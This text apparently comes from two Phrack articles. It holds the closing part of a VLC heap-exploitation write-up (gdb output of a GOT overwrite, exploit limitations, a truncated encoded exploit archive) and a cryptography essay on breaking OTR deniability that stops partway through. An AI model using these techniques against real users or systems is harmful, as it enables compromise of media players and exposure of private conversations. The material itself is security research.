0x28b3bc80...0x28b3bcc0...0x28b3bd00...0x28b3bd40...0x28b3bd80... 0x28b3bdc0...0x28b3be00...0x28b3be40...0x28b3be80...0x28b3bec0... 0x28b3bf00...0x28b3bf40...0x28b3bf80...0x28b3bfc0...0x28bac080... 0x28bac0c0...0x28bac100...0x28bac140...0x28bac180...0x28bac1c0... 0x28bac200...0x28bac240...0x28bac280...0x28bac2c0...0x28bac300... 0x28bac340...0x28bac380...0x28bac3c0...0x28bac400...0x28bac440... 0x28bac480...0x28bac4c0...0x28bac500...0x28bac540...0x28bac580... 0x28bac5c0...0x28bac600...0x28bac640...0x28bac680...0x28bac6c0... 0x28bac700...0x28bac740...0x28bac780...0x28bac7c0...0x28bac800... 0x28bac840...0x28bac880...0x28bac8c0...0x28bac900...0x28bac940... 0x28bac980...0x28bac9c0...0x28baca00...0x28baca40...0x28baca80... 0x28bacac0...0x28bacb00...0x28bacb40...0x28bacb80...0x28bacbc0... 0x28bacc00...0x28bacc40...0x28bacc80...0x28baccc0...0x28bacd00... 0x28bacd40...0x28bacd80...0x28bacdc0...0x28bace00...0x28bace40... 0x28bace80...0x28bacec0...0x28bacf00...0x28bacf40...0x28bacf80... 0x28bacfc0...0x28bad080...0x28bad0c0...0x28bad100...0x28bad140... 0x28bad180...0x28bad1c0...0x28bad200...0x28bad240...0x28bad280... 0x28bad2c0...0x28bad300...0x28bad340...0x28bad380...0x28bad3c0... 0x28bad400...0x28bad440...0x28bad480...0x28bad4c0...0x28bad500... 0x28bad540...0x28bad580...0x28bad5c0...0x28bad600...0x28bad640... 0x28bad680...0x28bad6c0...0x28bad700...0x28bad740...0x28bad780... 0x28bad7c0...0x28bad800...0x28bad840...0x28bad880...0x28bad8c0... 0x28bad900...0x28bad940...0x28bad980...0x28bad9c0...0x28bada00... 0x28bada40...0x28bada80...0x28badac0...0x28badb00...0x28badb40... 0x28badb80...0x28badbc0...0x28badc00...0x28badc40...0x28badc80... 0x28badcc0...0x28badd00...0x28badd40...0x28badd80...0x28baddc0... 0x28bade00...0x28bade40...0x28bade80...0x28badec0...0x28badf00... 0x28badf40...0x28badf80...0x28badfc0...0x28bae080...0x28bae0c0... 0x28bae100...0x28bae140...0x28bae180...0x28bae1c0...0x28bae200... 0x28bae240...0x28bae280...0x28bae2c0...0x28bae300...0x28bae340... 0x28bae380...0x28bae3c0...0x28bae400...0x28bae440...0x28bae480... 0x28bae4c0...0x28bae500...0x28bae540...0x28bae580...0x28bae5c0... 0x28bae600...0x28bae640...0x28bae680...0x28bae6c0...0x28bae700... 0x28bae740...0x28bae780...0x28bae7c0...0x28bae800...0x28bae840... 0x28bae880...0x28bae8c0...0x28bae900...0x28bae940...0x28bae980... 0x28bae9c0...0x28baea00...0x28baea40...0x28baea80...0x28baeac0... 0x28baeb00...0x28baeb40...0x28baeb80...0x28baebc0...0x28baec00... 0x28baec40...0x28baec80...0x28baecc0...0x28baed00...0x28baed40... 0x28baed80...0x28baedc0...0x28baee00...0x28baee40...0x28baee80... 0x28baeec0...0x28baef00...0x28baef40...0x28baef80...0x28baefc0... 0x28baf080...0x28baf0c0...0x28baf100...0x28baf140...0x28baf180... 0x28baf1c0...0x28baf200...0x28baf240...0x28baf280...0x28baf2c0... 0x28baf300...0x28baf340...0x28baf380...0x28baf3c0...0x28baf400... 0x28baf440...0x28baf480...0x28baf4c0...0x28baf500...0x28baf540... 0x28baf580...0x28baf5c0...0x28baf600...0x28baf640...0x28baf680... 0x28baf6c0...0x28baf700...0x28baf740...0x28baf780...0x28baf7c0... 0x28baf800...0x28baf840...0x28baf880...0x28baf8c0...0x28baf900... 0x28baf940...0x28baf980...0x28baf9c0...0x28bafa00...0x28bafa40... 0x28bafa80...0x28bafac0...0x28bafb00...0x28bafb40...0x28bafb80... 0x28bafbc0...0x28bafc00...0x28bafc40...0x28bafc80...0x28bafcc0... 0x28bafd00...0x28bafd40...0x28bafd80...0x28bafdc0...0x28bafe00... 0x28bafe40...0x28bafe80...0x28bafec0...0x28baff00...0x28baff40... 0x28baff80...0x28baffc0...ok

[~] Forcing shellcode execution

[~] Playing MP4 file 1 times

.ok

[~] Done

The console on the other side looks like the following:

Program received signal SIGTRAP, Trace/breakpoint trap. 0x28919b01 in ?? ()

The exploit output informs us that the .got entry for memset() lies at 0x284edea8. Let's verify...

(gdb) x/4bx 0x284edea8

0x284edea8: 0x00 0x9b 0x91 0x28

(gdb) x/i 0x28919b00

0x28919b00: int3

Obviously, it has been overwritten with the pointer to our ASM instructions. The 'SIGTRAP' informs us that EIP landed on top of them.

(gdb) quit

A debugging session is active.

Inferior 1 [process 2078] will be killed.

Quit anyway? (y or n) y

If you decide no to use gdb (that's what real men do), the following message will pop up upon successful exploitation.

Trace/BPT trap: 5 (core dumped)

‑‑[ 7 ‑ Limitations

As we promised, we will give a list of the factors that limit our exploit's reliability. People interested in improving our code should first have a look below.

1 ‑ Back in the section we analyzed the RMF vulnerability, we said that the memory range we want leaked, is trashed with 'i_frame_size' bytes; in our exploit code we use a frame size of 20, so, 20 bytes end up being written at the target address. Apparently, because of this trashing of the target memory, we cannot leak .text or any other read only mapping from the target application, since attempting to write on it will terminate VLC with a segmentation violation. Quick tests show that we cannot somehow set 'i_frame_size' to 0 so that 'memcpy()' becomes a nop. Nevertheless, the interested reader is advised to analyze this further and find a way to bypass this limitation.

Note: Recall the RMF vulnerability; a function pointer overwrite is possible. Managing to leak .text addresses means you can do automated remote ROP gadget harvesting in order to write a reliable exploit ;)

2 ‑ For some reason we are not aware of, requesting a memory leak of more than 8MB returns no data at all. Maybe this is related to the output filters splitting the 'p_blocks' in smaller parts, or maybe not ;p This is a very important limitation, since smaller leaked data chunks means more requests for leaked memory which in turn implies more memory being trashed. Consequently, more data we shouldn't touch may be modified resulting in an unexpected crash of VLC.

3 ‑ Unfortunately, there's at least one logical bug within VLC; a logical bug related to input buffering and the clients receiving network streams. When we have some free time we may report it to the VLC developers :p More logical bugs that confine the exploitation process' reliability may be present. A reliable one shot exploit requires a harder study of VLC's source code (yeah, as if we have nothing better to deal with).

4 ‑ The exploit assumes that 64‑byte regions usually lie between 0x28700000 and 0x28e00000 and tries to locate them. Some times the heap extends beyond that range. We have to find a way to figure this out, get the topmost heap address and explore the whole region. Doing that in a reliable way requires problem 2 to be solved first.

5 ‑ In section 5.2 we analyzed how the 'p_root' candidates are located. The process described in the aforementioned section takes into account only the bins of the first arena, but VLC, being a multithreaded application, initializes more than one. We believe it's possible to detect those extra arenas, locate their bin‑64 addresses and take them into account as well. Alternatively, one may leak and analyze the TLS data of each thread thus locating their magazine racks, their magazines and the 'rounds[]' array corresponding to 64‑byte regions.

6 ‑ In step 6 of section 5.2 we said that all regions of the detected runs will eventually be freed by our special MP4 file in hope that 'p_root' will lie somewhere within them. Although we do our best to fill heap holes, this process may result in a segmentation fault due to the fact that regions already freed are freed for a second time. It is possible to avoid this by having a look at the target runs' region bitmap and freeing only those regions that seem to be allocated. We didn't have the time to implement this but we believe it's trivial (take a look at the comments in the exploit's 'main.py').

If you manage to solve any of these problems, please let us know; don't be a greedy pussy ;)

‑‑[ 8 ‑ Final words

Exploit development is definitely a hard task; Do you think that the money offered by [censored] is worth the trouble?

In this article, which is short compared to our efforts during the exploit development, we tried to give as much detail as possible. Unfortunately there's no way for us to present every minor detail; a deeper look into VLC's source code is required. All that jemalloc stuff was fun but tiresome. We think it's about time we take some time off :) We would like to thank the Phrack staff for being the Phrack staff, our grhack.net colleagues and all our friends that still keep it real. Our work is dedicated to all those 'producers' of the security ecosystem that keep their mouth shut and put their brains to work. Love, peace and lots of #.

‑‑[ 9 ‑ References

[1] vl4d1m1r of ac1db1tch3z, The art of exploitation: Autopsy of cvsxpl http://www.phrack.org/issues.html?issue=64&id=15&mode=txt

[2] Feline Menace, Technical analysis of Samba WINS stack overflow http://www.phrack.org/issues.html?issue=65&id=12&mode=txt

[3] GOBBLES, Local/remote mpg123 exploit http://www.securityfocus.com/archive/1/306476

[4] VLC Security Advisory 1103 http://www.videolan.org/security/sa1103.html

[5] Chapter 4. Examples for advanced use of VLC's stream output (transcoding, multiple streaming, etc...) http://www.videolan.org/doc/streaming‑howto/en/ch04.html

[6] VLC Security Advisory 1105 http://www.videolan.org/security/sa1105.html

[7] RealAudio

http://en.wikipedia.org/wiki/RealAudio

[8] RealAudio sipr http://wiki.multimedia.cx/index.php?title=RealAudio_sipr

‑‑[ 10 ‑ T3h l337 c0d3z

begin 644 vlc_lulz_v0.1.tar.gz M'XL(`/'U>D\``^U]>W?;R)'O_KO\%)WC.TMI+‑$$"!*D9CQ9V9)GO)%M'4E. end

Secure Function Evaluation vs. Deniability in OTR and similar protocols

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x0e of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑=[ Secure Function Evaluation vs. Deniability ]=‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ in OTR and similar protocols ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ greg <greg@so36.net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Contents

1 ‑ Introduction

1.1 ‑ Prelude

2 ‑ Preliminaries

2.1 ‑ Diffie‑Hellman

2.2 ‑ RSA

2.3 ‑ Oblivious Transfer

2.4 ‑ Secure Function Evaluation

3 ‑ OTR

4 ‑ The Attack

4.1 ‑ Sharing Diffie‑Hellman Keys

4.2 ‑ Generating MAC and Encryption Keys

4.3 ‑ Sending and Receiving Messages

4.4 ‑ The Final Protocol

4.5 ‑ What's Left

5 ‑ References

6 ‑ Greetingz

‑‑[ 1 ‑ Introduction

Recent cryptographic primitives and protocols offer a wide range of features besides confidentiality and integrity. There are many protocols that have more advanced properties, such as forward secrecy, deniability or anonymity. In this article, we're going to have a deeper look at deniability in communication (e.g. messaging) protocols. One protocol that claims to offer deniability is OTR. Although our construction can probably be extended in a quite general way, we'll stick with OTR as an example protocol. Our goal is to show the limits of deniability, especially in protocols that offer message integrity features (as OTR does). We will do this by constructing a protocol that enables each partner in a conversation to cooperate with an observing party, such that he can prove the authenticity of any message that was part of the conversation to the observing party.

‑‑‑‑‑‑[ 1.1 ‑ Prelude

It was one of these days sitting together with bruhns and discussing stuff (TM). Out of the sudden, he came up with the question: "You know, I'm asking myself what a trusted timestamping service could be good for...?". I told him "timestamps, most probably". He was like "Uhm, yes. And wouldn't that affect the deniability of OTR somehow?". We discussed the matter for quite a while and we finally agreed that a trusted timestamping service itself wouldn't be enough to destroy the deniability of OTR. But our interest remained...

‑‑[ 2 ‑ Preliminaries

In this section, we're going to give a quick overview of cryptographic primitives we're gonna use. If you're already familiar with those, you can happily skip our explanations and get to the real meat. The explanations in this section will not contain all the mathematical background (i.e. proofs ;) ), which is necessary to really *understand* what's going on. We'd rather like to provide a high‑level overview of how all the individual components and how they can be combined.

‑‑‑‑‑‑[ 2.1 ‑ Symmetric Operations

We'll keep this real short; you probably know the most common symmetric crypto algorithms. We will be using symmetric block ciphers (such as AES) and hash functions (SHA for instance). Also, we will need MAC functions in the following sections. You might already know HMAC, which is a MAC scheme based on hash functions. MACs (Message Authentication Codes) are used to protect the integrity of messages. Being a symmetric primitive, creating and verifying the MAC requires knowledge of the same key. If someone can verify a MAC, they can also create one.

‑‑‑‑‑‑[ 2.1 ‑ Diffie‑Hellman

The Diffie‑Hellman scheme is one of the most widely used key establishment protocols today. The basic idea is the following: Alice and Bob want to securely establish a key over an insecure channel. Diffie‑Hellman enables them to do this. During such a key‑exchange both parties publicly send some values and after the communication is finished, both can compute a common key, which can *not* be computed by anyone who wiretaps the communication.

‑‑‑‑‑‑‑‑[ 2.1.1 The Math behind it

Alice and Bob agree on a prime p and some "generator" g. We won't discuss too many details of the mathematical background here (if you're interested in math, refer to [1]), so it's sufficient to say that in practice, g will often have the value 2 and the prime p will be large. In many cases, p and g are fixed parameters, on which both parties rely. Before describing the actual protocol, we want to show one interesting observation: Given some number x, it's trivial to compute values y = g^x mod p ("square and multiply" are the magic words). Given the value y however, it's not trivial at all to compute the value of x ("discrete logarithm problem", if you're interested). This property can be used to build a key‑establishment scheme like this:

A ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ a = g^x mod p ‑‑‑‑‑‑‑‑‑‑‑‑‑‑> B

A <‑‑‑‑‑‑‑‑‑‑‑‑‑‑ b = g^y mod p ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ B

A picks a random x, computes a = g^x mod p and sends that value over to B. B picks a random y, computes b = g^y mod p and sends that value over to A. The values a and b are also referred to as Diffie‑Hellman public keys. A now performs the following computation:

(2.1.1) ka = b^x mod p

B does the same and computes

(2.1.2) kb = a^y mod p

We can observe that due to the equation

(2.1.3) ka = b^x mod p = (g^y)^x = g^(yx) = g^(xy) = (g^x)^y = a^y = kb

ka and kb are equal. So A and B have established a common key k (k = ka = kb). As an attacker however neither knows x nor y, he cannot perform the same computation. The attacker could try to obtain x from a, but as we outlined above, this is (hopefully) computationally infeasible for large primes p and good generators g. In case of an active attacker, this scheme can be broken by a simple man‑in‑the‑middle attack, where the attacker replaces Alice's and Bob's values by his own ones and then proxies the traffic between both parties. This problem can be fixed by making use of an authentication scheme: Alice and Bob need to "sign" the values that they transfer, so that the attacker cannot modify them without destroying the signature. There are many signature schemes out there (for instance based on RSA, which is described below) and all of them come with additional costs (you need to exchange public keys beforehand etc.). We assume you know about all the higher‑level problems, such as key distribution, revocations, trust‑models, etc. The basic principle of Diffie‑Hellman however stays the same ‑ and that is what we're going to focus on later in this article.

‑‑‑‑‑‑[ 2.2 ‑ RSA

Another gem of modern cryptography is the RSA crypto system. RSA is also based on modular arithmetic, but it works in a different way than Diffie‑Hellman. Alice wants Bob to send her an encrypted message. However, Alice and Bob have not exchanged any key material (if they had, Bob could just make use of any block‑cipher like AES to send encrypted data to Alice). With RSA, Alice can send Bob a thing called her "public key". This public key can be used by Bob to encrypt messages. However, nobody can decrypt messages encrypted with Alice's public key without knowing another piece of information called Alice's "secret key". As the name suggests, Alice keeps her secret key secret. Therefore everybody can encrypt messages for Alice, but nobody besides Alice can decrypt these messages.

‑‑‑‑‑‑‑‑[ 2.2.1 More Math

Alice wants to receive messages from Bob, so she first needs to generate an RSA key‑pair. Alice does the following: She picks two primes p and q and computes

(2.2.1) N = p * q

She picks a value e (in practice, e = 65537 is a common choice) and computes

(2.2.2) d = e^‑1 mod (p‑1)(q‑1) (i.e. e*d = 1 mod (p‑1)(q‑1))

This computation can be performed efficiently using the extended euclidean algorithm (but again, we won't dive into all the mathematical details too much). Alice keeps all the values besides N and e secret.

A ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ N = p * q, e ‑‑‑‑‑‑‑‑‑‑‑‑‑‑> B

A <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ c = m^e mod N ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ B

Alice now sends over N and e to Bob. Bob uses N and e to encrypt his message m as follows:

(2.2.3) c = m^e mod N

Then, Bob sends the ciphertext c over to Alice. Alice can use d to decrypt the ciphertext:

(2.2.4) m = c^d mod N

This works due to the way e and d are chosen in equation (2.2.2). To decrypt the ciphertext, an attacker could of course try to compute d. But computing d is hard without knowing p and q. And obtaining p and q from N is assumed to be an infeasible problem for large values of N.

The tuple (N, e) is commonly called an RSA public key, whereas (N, d) is called private key. We can view an RSA instance (with fixed keys) as a set of two functions, f and f^‑1, where f is the function that encrypts data using the public key and f^‑1 is the function that decrypts data using the private key. We'll call such functions one‑way functions.

Instead of encrypting data with the receiver's public key, we can also use RSA as a signature scheme. The signer of a message first uses a hash function on his message. He then encrypts the hash value with his private key. This signature can be verified using the signer's public key: the verifier uses the public key to decrypt the hash value, computes the hash of the message he received and then compares the hashes. An attacker will not be able to produce such a signature, because he doesn't know the signer's private key.

Please be aware that (like all the other algorithms described in this document), RSA should in practice not be used as described above. In particular, we did not describe how to correctly convert messages into numbers (RSA operates on natural numbers, remember?) and how to securely pad plaintexts. Depending on the respective security goals, there are a number of possible padding schemes (such as OAEP+), but we're not going to describe them here in detail.

‑‑‑‑‑‑[ 2.3 ‑ Oblivious Transfer

Oblivious transfer is a real funny primitive. Suppose, Bob knows two values x0 and x1. Alice wants to obtain one of those values, but she doesn't want to tell Bob which value she wants. Now Bob could of course tell Alice both values (that way he wouldn't know, which one Alice was interested in). However, Bob wants to make some money and so he takes $1k per value. Poor Alice however only has $1k, so she can't afford to buy both values from Bob. This problem can be solved with an oblivious transfer. An oblivious transfer is a cryptographic protocol, so it requires a number of messages to be exchanged between Alice and Bob. After the messages are exchanged, Alice will receive the value she wanted and Bob won't know which value that was.

‑‑‑‑‑‑‑‑[ 2.3.1 Math Voodoo

There are a number of protocols for performing an oblivious transfer, based on different cryptographic assumptions. We are going to describe one classical example here, which can be implemented using a public‑key cryptosystem (such as RSA). More details of this construction can be found in [7].

The system works like this: Bob picks one‑way functions f, f^‑1 and sends f over to Alice. Along with f, he sends two random values r0 and r1. You can think of f and f^‑1 as RSA functions using fixed keys (as described above).

A <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ f, r0, r1 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑ B

A ‑‑‑‑‑‑‑‑‑‑‑‑‑ z = f(k) XOR rb ‑‑‑‑‑‑‑‑‑‑‑> B

Alice wants to receive value xb (b = 0 or 1) from Bob. She picks a random k, computes f(k) and XORs it with r0 if she wants to receive x0 or with r1 if she wants to receive x1. The XOR operation is sometimes also called "blinding". Depending on the cryptosystem that is used to obtain f and f^‑1, there might be more appropriate choices then just using XOR. For RSA, it would be natural to use integer addition and subtraction (modulo N) instead of the XOR operation.

Alice now sends the result z to Bob. Bob performs some computations:

(2.3.1) k0 = f^‑1(z XOR r0)

(2.3.1) k1 = f^‑1(z XOR r1)

One of the k values will be Alice's, but Bob doesn't know which one. The other value will be junk, but it's important to note that this junk value cannot be computed by Alice (she doesn't know f^‑1). Now Bob simply does the following:

A <‑‑‑‑‑‑‑‑‑‑ x0 XOR k0, x1 XOR k1 ‑‑‑‑‑‑‑‑‑ B

Depending on which k value is the one that Alice actually knows, she can decrypt x0 or x1. And that's it: Alice now knows the value she wanted to receive and one junk value, which doesn't tell her anything. Bob however doesn't know which of the k values was the one that Alice picked, so he he cannot tell, which value Alice wanted to receive.

Let's try it out:

Say Bob hast two values x0 = 7 and x1 = 1. He is willing to share one with Alice. First he generates f and f^‑1. To do that, he just uses RSA. He picks two prime numbers p = 5 and q = 11 and gets N = 55. Also, he picks e = 3 as encryption exponent (don't do that at home, kids!). The decryption exponent would then be d = 27 (you can compute that using the euclidean algorithm or alternatively you could just believe us). Bob now can send out (N, e) = (55, 3) to Alice, along with some random values (r0, r1) = (4, 9).

Suppose Alice wants to retrieve the value of x1. First of all, she picks a random k, let's say k = 6. She encrypts it using the public key Bob sent (i.e. she applies Bob's one‑way function): f(6) = 6^3 mod 55 = 51. She computes z = f(k) + r1 = 51 + 9 mod 55 = 5, which she sends to Bob.

Bob now determines his candidates for k (i.e. k0 and k1) by computing: k0 = f^‑1(z ‑ r0) = (5 ‑ 4)^27 mod 55 = 1

k1 = f^‑1(z ‑ r1) = (5 ‑ 9)^27 mod 55 = 6 <‑‑ Alice's k, but Bob doesn't

know that

Bob then sends to Alice: x0 + k0 = 7 + 1 and x1 + k1 = 1 + 6.

Alice receives the two values 8 and 7. She knows that Bob's second value was x1 + k. As she is interested in x1, she takes that value and computes x1 = (x1 + k1) ‑ k = 7 ‑ 6 = 1 (observe that k = k1, which only Alice knows). Now Alice could try to cheat and to also obtain x0. But to do that, she would need to know the value that Bob computed for k0, which she won't be able to compute without knowing f^‑1 (i.e. the secret exponent d in our case).

‑‑‑‑‑‑[ 2.4 ‑ Secure Function Evaluation

Secure function evaluation is another real gem of modern cryptography. A classical example is the 0day problem. Two hackers A and B have a certain number of 0day exploits each. They want to determine who is more elite, but they are so paranoid that they don't even want the other to know how many 0days they have. So, A knows some number x, B knows y and both want to compute the function f(x, y) = { 1 if x > y, ‑1 if y > x and 0 otherwise}. Secure Function Evaluation solves this problem. Again, both parties exchange a number of messages and after this is done, both of them know the result of the function without having learned anything about the input of the other party. And instead of the function shown above, they could just arbitrarily agree on any function to be evaluated.

One interesting practical application of SFE is to perform mutual authentication based on a shared secret. Two parties knowing a shared secret can jointly compute the function

f(x, y) = {1 if x = y, 0 otherwise}. Interestingly, the OTR protocol makes use of such a SFE scheme for authentication.

‑‑‑‑‑‑‑‑[ 2.4.1 More Voodoo

Suppose there is a function f(x, y), which two parties want to compute (this is actually secure two‑party computation, which is not the most general case ‑ for our purpose however it is sufficient). Both want to share the result and both want to keep their own inputs safe. There are several constructions that allow us to perform SFE. We'll discuss only one of them here: Yao's garbled circuits [3]. As the name suggests, the function to be evaluated by both parties first has to be transformed to a boolean circuit. For many functions, this is generally not a problem. The next step is to "garble" the circuit. The main idea behind this garbling process is that we want everyone to be able to evaluate the circuit, while nobody should see what he actually evaluates. Therefore, we will try to hide all the bits that "flow" through the circuit. For hiding the bits, we could make use of a block cipher. However, we have to take care that the circuit can still be evaluated! Therefore, we will also have to modify all the gates in the circuit somehow, so that they are able to work with "garbled" inputs. Now one could imagine that such a modification is a hard task. Fortunately, there's a simple trick: All the gates in our circuit are very small boolean functions (by small we mean that they don't have many inputs). We can therefore replace every gate by its truth table. The truth table simply maps the input bits to the respective output bits. For a simple NAND gate, the truth table would look like this:

\a|

b\| 1 0

‑‑+‑‑‑‑

1 | 0 1

0 | 1 1

Now that we have replaced every gate by its truth table, we will just have to modify the truth tables, so that they reflect the fact that all the bit values are garbled. The trick here is the following: Instead of the real values of the input bits (1 or 0), we pick random cryptographic keys (say 128 bits long). We will then use those keys to encrypt the values in the truth table. Instead of the input values for the gate, we will then use the random keys (i.e. instead of 1 or 0, we just pick two random bitstrings per wire).

As an example, consider a NAND gate again. We choose four keys ka0, ka1, kb0 and kb1. Those are the keys for the respective input values of the gate (i.e. a=0, a=1, b=0, b=1). Also, we pick an encryption function E and a decryption function D. For simplicity, we assume that if a wrong key is supplied to D, it will signal this (e.g. return an error code) instead of providing a junk plaintext. We now perform the following transformation on the truth table of our gate:

\a| \ a|

b\| 1 0 b \ | 1 0

‑‑+‑‑‑‑‑ ‑‑‑‑‑> ‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

1 | 0 1 1 | E_ka1(E_kb1(0)) E_ka0(E_kb1(1))

0 | 1 1 0 | E_ka1(E_kb0(1)) E_ka0(E_kb0(1))

The elements in the truth table are double encrypted using the two keys that belong to the values of a or b, respectively. When evaluating the circuit, you only know the keys that correspond to the correct input values (so for example you know ka0 and kb1 but no other key). By simply trying to decrypt every value in the table, it is easy to find the according output value (only one decryption will succeed).

The next question would then be: How to garble a whole circuit? It's not much different. Assume that two gates are connected like this:

Out

|

+‑‑‑‑‑‑+

| G1 |

+‑‑‑‑‑‑+

| |

+‑‑‑+ In_3

|G2 |

+‑‑‑+

| \

In_1 In_2

We have inputs In_1, In_2, In_3 and one output value Out. G2's output is connected to one of the input wires of G1. In the truth table of G2, we therefore put the *key* that corresponds to the respective input value of G1 (so instead of double‑encrypting G2's output value 1 or 0, we double‑encrypt the respective key for one of G1's input pins). The gate G1 can be garbled as described above. The keys for the input wires In_1, In_2 and In_3 are assumed to be already known by the party evaluating the circuit. G2 can now easily be evaluated and yields the missing key for evaluating the gate G1. However, during the evaluation of the circuit, no intermediate values (like the real output of G2) are disclosed to the evaluating party.

Let's try that in practice:

Say Alice and Bob want to evaluate a function. The following protocol can be used: A prepares a garbled circuit and hard‑codes her input values into the circuit. She sends the result to B. B now needs to retrieve the keys for his input values from A. But beware of two limitations here: 1) B doesn't want to disclose his input values to A (obviously). 2) A doesn't want to tell B the keys for both input values, because then B would be able to reverse‑engineer the circuit and to obtain A's input values.

You've probably already seen the solution: B uses an oblivious transfer to obtain the keys for his input values from A. For every bit b of his input values, Bob will obliviously obtain the correct key k_b0 or k_b1 like this:

A ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ f, r0, r1 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑> B

A <‑‑‑‑‑‑‑‑‑‑‑‑‑ z = f(k) XOR rb ‑‑‑‑‑‑‑‑‑‑‑ B

A ‑‑‑‑‑‑‑‑ k_b0 XOR k0, k_b1 XOR k1 ‑‑‑‑‑‑‑> B

B is now able to evaluate the whole circuit. Depending on how A built the circuit, the output truth tables could contain real or garbled values. Using some simple tricks, we can even split the output between A and B (so that A gets some part of the result and B gets another part). We'll detail on that later. Now there are some problems when one party isn't honest. Alice for instance could just prepare a malicious circuit that leaks information about Bob's secret inputs. There are ways to prevent such attacks ("cut and choose", zero knowledge proofs, etc), but we won't provide the details here. A more detailed description (along with a security proof) can be found in [3].

‑‑[ 3 ‑ OTR

For those who are not familiar with the OTR protocol, this section might provide some help. OTR features a number of cryptographic properties, including confidentiality, integrity, forward secrecy and deniability. There are two major phases of the protocol: initial key exchange and message exchange. The initial key exchange is based on the Diffie‑Hellman protocol. It is referred to as AKE (Authenticated Key Exchange). To defend against active attackers, a public‑key signature scheme (DSA in this particular case) is used. The DSA master keys have to be exchanged beforehand (OTR also offers to authenticate DSA keys using the SMP protocol, but that's not interesting in our case).

All the cryptographic details are provided in [2]; it's not particularly helpful to repeat them here. Keeping in mind that OTR's key exchange is based on Diffie‑Hellman combined with some symmetric crypto and a signature scheme will suffice. After the key‑exchange phase, each party will have a number of symmetric keys for encryption and authentication. Those are derived from the Diffie‑Hellman master key by hashing it in various ways (encryption and MAC key will obviously be different).

The messages are encrypted using AES in CTR mode, and each message is MACed using the symmetric key material. That offers us confidentiality and integrity. It's important to note that *only* symmetric keys are used for the actual payload crypto. The DSA master keys are only used in the initial key‑exchange phase.

The next feature we're going to look at is forward secrecy. Forward secrecy means that even if the (DSA) key of a participant is disclosed, past conversations cannot be compromised. Forward secrecy in OTR is established by the Diffie‑Hellman protocol: after a conversation ends, both parties can safely wipe the Diffie‑Hellman key that they generated. There is no way for an attacker (and not even for the conversation partners) to re‑compute that key afterwards: to do that, one would either need to know the private exponent of one party (which is of course also wiped from memory) or one would need to derive the key from the public information exchanged between both parties, which is infeasible (hopefully; that's what Diffie‑Hellman relies on in the first place).

Having understood how OTR provides forward secrecy, we can move on to deniability. During the conversation, both parties can be sure that the messages they receive are authentic and not modified by an attacker. It is immediately clear that the message authenticity can not be verified without the MAC key. If one of the conversation partners wants to convince a third party that a message is authentic, this conversation partner implicitly proofs his knowledge of the MAC key to the third party. But then again, the third party can not be sure that the conversation partner didn't fake the message (he can do this as he knows the MAC key). This is what we call weak deniability [4]. Obviously, OTR offers weak deniability, as message authentication is performed using only symmetric primitives. But OTR offers even more: In every message, the sending party includes a new Diffie‑Hellman key exchange proposal. The proposal is also covered by the MAC to rule out MITM attacks. So both parties frequently generate new key material. And this lets us do a nice trick: as soon as they generate new MAC keys they publicly disclose the old MAC keys. The old keys aren't used anymore, so this is safe. But as the MAC keys are public, *everybody* could create fake messages and compute proper MACs for those. This is what we call strong deniability. OTR ships with a toolkit containing software for actually forging messages. Depending on how much you already know (only the MAC keys, MAC and encryption keys, MAC keys and some message plaintext), you can use different tools to forge messages. If you know parts of the plaintext and the MAC keys, you can exploit the fact that AES is used in CTR mode to directly modify the known parts of the plaintext. If there is no known plaintext, the otr_remac tool might helpful: Every message contains a new Diffie‑Hellman key exchange proposal in plaintext (but covered by the MAC). Now you can simply replace that proposal by one that you generated (e.g. using the otr_sesskeys tool) and compute a new MAC for the packet. That allows you to easily fake the rest of the conversation: You know your own private Diffie‑Hellman key, so you can generate a plausible set of MAC and encryption keys and just use that one. It will look legitimate because the modified packet (containing your key exchange data) still has a valid MAC.

‑‑[ 4 ‑ The Attack

The deniability of OTR stems from the fact that a third party does not know whether a message has been sent during a conversation (and before the MAC keys were disclosed) or was generated afterwards (when the MAC keys were public). An obvious way to attack OTR's deniability would therefore be to just monitor all the OTR traffic between A and B. If one party now decides to disclose the MAC and encryption keys used for a particular message, the authenticity of that message can be verified. And as the message has been recorded during the conversation (i.e. before the MAC keys were public), the recording party knows that it was not generated afterwards.

Let's look at a real‑life example to shed some more light on what we're doing. Imagine two hackers A and B who want to talk about serious stuff (TM) using OTR. Both of them are slightly paranoid and don't trust each other. In particular, Bob fears that Alice might backstab him. However, as OTR is deniable, Bob assumes that even if Alice discloses the contents of their conversation, he could still plausibly argue that Alice just made it up to discredit him. So Bob ignores his paranoia and tells Alice his secrets. Alice indeed plans to backstab Bob. Her first plan is simple: She will just submit all the encrypted and authenticated messages to the police. The police will later be able to state in court that Alice didn't fake the messages after the conversation. She however quickly realizes that this approach is inherently flawed: Bob could argue that Alice just sent fake messages to the police (as Alice knows all the keys she could generate such fake messages). Alice knows that this problem could be fixed if the Police sniffed all the traffic themselves. But she also knows that this is going to be difficult, so she comes up with a second idea: Why not use a trusted third party?

